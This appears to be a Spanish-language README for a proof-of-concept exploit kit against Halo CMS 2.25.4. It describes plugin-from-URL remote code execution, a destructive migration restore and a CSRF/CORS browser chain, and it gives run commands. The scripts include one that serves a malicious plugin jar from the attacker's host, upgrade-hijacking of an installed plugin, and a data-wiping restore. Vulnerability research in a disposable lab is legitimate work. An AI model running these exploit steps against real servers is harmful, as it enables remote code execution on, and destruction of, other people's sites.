
halo cms plugin 1-request rce desde una URL, PoC + cadena de exploit
la consola de halo permite a los administradores instalar y actualizar plugins pegando una url. obtiene cualquier url, instala el jar, y el código del jar se ejecuta en el servidor. no hay comprobaciones de esquema, ni de host, sigue redirecciones, y el gestor de plugins carga las clases de extensión directamente desde el jar.
eso es cve-2026-67919 (install-from-uri / upgrade-from-uri), cve-2026-67920 (restauración de migración), cve-2026-67921 (cadena csrf/cors). los tres verificados contra halohub/halo:2.25.4 en un laboratorio docker, agosto 2026. main sigue sin parchear.
la parte divertida: también es una cadena solo de navegador. la api de consola no comprueba el token xsrf, la cookie de sesión es samesite=none, y cors refleja cualquier origen con credenciales. una página que el administrador visite puede hacerlo todo con fetch(). ver exploit/csrf.html.
docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
# visit /system/setup once, or script it (see notes/findings.md)
sirve un jar desde el host (enlazado a 0.0.0.0, el contenedor alcanza al host como host.docker.internal):
python3 -m http.server 8123
construye el plugin malicioso (necesita jdk 17):
cd plugin && sh build.sh
luego:
cd exploit && python3 -m pip install -r requirements.txt
./rce_install.py http://localhost:8090 admin 'Admin@12345' \
http://host.docker.internal:8123/poc-plugin.jar
docker exec halo cat /tmp/pwned
cualquier plugin ya instalado puede reemplazarse en una sola solicitud; el jar solo necesita el mismo metadata.name y una versión superior. poc-sitemap.jar es esa variante para el PluginSitemap integrado (1.x -> 2.0.0).
./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar
docker exec halo cat /tmp/pwned
abre exploit/csrf.html, apúntalo a tu halo, haz clic. esa es la cadena cve-2026-67921 -> cve-2026-67919: sin cabecera xsrf, la cookie de sesión viaja entre sitios, cors permite la lectura de vuelta.
solo admin, sin importar lo que diga la descripción de cisa. un anónimo recibe un 302, un invitado recibe un 403, un admin obtiene ejecución de código. la cadena csrf hace que siga siendo interesante porque el admin ya ha iniciado sesión cuando la página se ejecuta.
las restauraciones obtienen una URL arbitraria (otra primitiva fetch), escriben el workdir/ del zip en el directorio de trabajo de halo sin sanitizar, y reemplazan todo el almacén de extensiones con el contenido de la copia de seguridad. un extensions.data vacío elimina usuarios, enlaces de roles y ajustes. usa exploit/migration_restore.py solo en una máquina desechable.
exploit/ login.py, rce_install.py, rce_upgrade.py,
migration_restore.py, csrf.html
plugin/ plugin.yaml, Exploit.java, plugin-components.idx,
build.sh, prebuilt jars
notes/ findings.md (privilege ladder, fetcher behavior,
cookie/cors details, fix status)
para la variante de 1 solicitud, edita plugin/plugin.yaml (metadata.name + version) y reconstruye; o usa el poc-sitemap.jar precompilado contra un halo que tenga PluginSitemap instalado.
aviso: solo para investigación en sistemas que poseas. el de migración en particular destruirá la instancia contra la que se ejecuta.
chris jagdeo (k0nnect)